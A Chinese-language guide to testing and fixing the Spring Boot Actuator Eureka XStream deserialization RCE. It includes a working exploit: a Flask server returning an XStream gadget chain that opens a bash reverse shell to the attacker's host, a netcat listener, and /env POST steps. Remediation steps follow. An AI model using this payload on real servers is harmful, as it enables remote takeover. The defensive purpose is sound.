Spring Boot Actuator(eureka xstream deserialization RCE)漏洞测试及修复
字数 919 2025-08-10 00:24:01
Spring Boot Actuator Eureka XStream 反序列化漏洞分析与防护指南
漏洞概述
Spring Boot Actuator 是 Spring Boot 提供的服务监控和管理中间件,当与 Eureka 客户端结合使用时,存在 XStream 反序列化远程代码执行(RCE)漏洞。该漏洞允许攻击者通过未授权访问/env端点执行任意代码,获取服务器权限。
影响版本
- eureka-client < 1.8.7
风险等级
严重 - 可导致远程代码执行,完全控制服务器
漏洞原理
- Actuator 端点暴露:Actuator 默认配置可能导致接口未授权访问,泄露敏感信息
- XStream 反序列化:Eureka 客户端使用 XStream 处理 XML 数据,存在不安全反序列化问题
- Jolokia 特性滥用:通过 Jolokia 库特性可实现远程代码执行
漏洞利用步骤
1. 准备恶意服务器
使用以下 Python Flask 脚本创建恶意服务器(需修改反弹 shell 的 IP 和端口):
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/YOUR_VPS_IP/8446 0>&1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=2222)
2. 设置监听
在攻击机上监听反弹 shell 的端口:
nc -lvnp 8446
3. 利用漏洞
- 访问目标服务器的
/env端点获取环境属性 - 抓取请求并将 GET 改为 POST
- 添加恶意配置:
eureka.client.serviceUrl.defaultZone=http://恶意服务器IP:2335/xstream - 服务器将连接恶意服务器并执行反弹 shell
漏洞修复方案
方案一:禁用所有接口
在配置文件中添加:
endpoints.enabled = false
方案二:引入安全依赖
在 pom.xml 中添加 Spring Security 依赖:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
方案三:配置访问权限验证
在配置文件中添加安全配置:
management.port=8099
management.security.enabled=true
security.user.name=自定义用户名
security.user.password=强密码
其他防护建议
- 升级 Eureka 客户端到 1.8.7 或更高版本
- 限制 Actuator 端点的访问权限,只允许内部网络访问
- 定期检查服务器日志,监控可疑请求
- 使用 Web 应用防火墙(WAF)拦截恶意请求
总结
该漏洞利用 Spring Boot Actuator 的未授权访问和 Eureka 客户端的 XStream 反序列化漏洞,可导致严重的远程代码执行风险。通过禁用不必要的接口、添加安全依赖和配置访问控制,可有效防护此漏洞。建议所有使用受影响版本的用户立即采取修复措施。